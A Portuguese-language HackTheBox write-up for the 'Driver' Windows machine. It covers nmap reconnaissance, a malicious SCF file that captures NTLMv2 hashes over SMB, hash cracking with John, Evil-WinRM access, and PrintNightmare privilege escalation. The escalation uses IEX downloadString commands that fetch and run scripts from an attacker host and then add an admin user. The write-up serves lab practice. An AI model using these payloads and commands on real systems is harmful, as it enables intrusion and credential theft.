> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md). # Relato do HackTheBox Driver {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Adivinhação de senha * Arquivo SCF malicioso * Escalada de privilégios locais do Spooler de Impressão (PrintNightmare) (CVE-2021-1675] {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

**Descoberta de portas abertas com Nmap:** Explorando portas abertas e exportando no arquivo "allPorts" no diretório do Nmap: ```bash nmap --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.106 -oG allPorts ```

**Análise das portas abertas com extractport:** Usando a função extractport para exibir portas abertas de forma concisa e copiá-las para a área de transferência.

**Varredura de versão das portas com Nmap:** Usando o Nmap para varrer a versão das portas e extrair informações no arquivo "targeted": ```bash nmap -sCV -p80,135,445 -oN targeted ```

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP é inserido no `/etc/hosts` arquivo:

### Análise da Porta 80: A porta 80 hospeda um servidor web com um painel de conexão.

Analisando com **WhatWeb** identifica um nome de usuário padrão: `admin`.

Tentativa de conexão com `admin:admin` como identificador. ### Centro de atualização de firmware do MFP:

O site oferece uma opção de download de firmware. A mensagem indica: > Selecione o modelo da impressora e baixe a atualização de firmware correspondente em nosso compartilhamento de arquivos. Nossa equipe de testes revisará os downloads manualmente e iniciará os testes em breve.

## Explotação - Arquivo SCF malicioso : Criando um `.scf` arquivo malicioso para capturar o NTLMv2 de um usuário quando ele o abre: ``` [Shell] Command=2 IconFile=//10.10.14.7/smbFolder/pentestlab.ico [Taskbar] Command=ToggleDesktop ``` Escutando com **impacket** para capturar NTLMv2: ```bash impacket-smbserver smbFolder $(pwd) -smb2support ``` Capturar o hash NTLMv2 do usuário `tony`.

Quebrar o hash NTLM com **John**: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` `tony:liltony`

## Conexão SMB e WinRM: **Verificação de acesso** com CrackMapExec: ```bash crackmapexec smb 10.10.10.106 -u 'tony' -p 'liltony' ```

/*/* WinRM/*/* conexão com CrackMapExec: ```bash crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony' ```

**Assuma o controle com Evil-WinRM**: ```bash evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony' ```

### Flag user.txt:

## Elevação de privilégios : ### **1. Enumeração com PowerUp:** * Baixando o **script PowerUp.ps1** na máquina de ataque e adicionando o `comando Invoke-AllChecks` no final para iniciar todas as verificações. {% embed url="" %} Transferindo o script para a máquina vítima via servidor HTTP Python: ```bash python3 -m http.server 80 ``` Execução na máquina-alvo: ```powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/PowerUp.ps1') ``` > **Resultado**: Nenhum item relevante encontrado.

### **2. Enumeração com winPEAS:** {% embed url="" %} Transferência da ferramenta **winPEASx64.exe** para a máquina vítima: `upload winPEASx64.exe`

## **Explotação do PrintNightmare (CVE-2021-1675)** Um **processo spoolsv** vulnerável é detectado, escutando em uma porta TCP.

Usando um script de exploit para PrintNightmare, disponível no GitHub. {% embed url="" %}

Aqui estão os comandos para executar: 1. **Transferência do script** para evitar bloqueio pelo Windows Defender: ```powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1') ``` 2. **Criação de um usuário administrador** chamado `jordan`: ```powershell Invoke-Nightmare -DriverName "Xerox" -NewUser "jordan" -NewPassword "jordan1234!$" ```

`jordan:jordan1234!$` > **Status**: `jordan` o usuário agora está no grupo de administradores.

### Conexão com privilégios de administrador Conexão com a máquina via WinRM com **Evil-WinRM**: ```powershell evil-winrm -i 10.10.11.106 -u 'jordan' -p 'jordan1234!$' ```

### Flag root :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.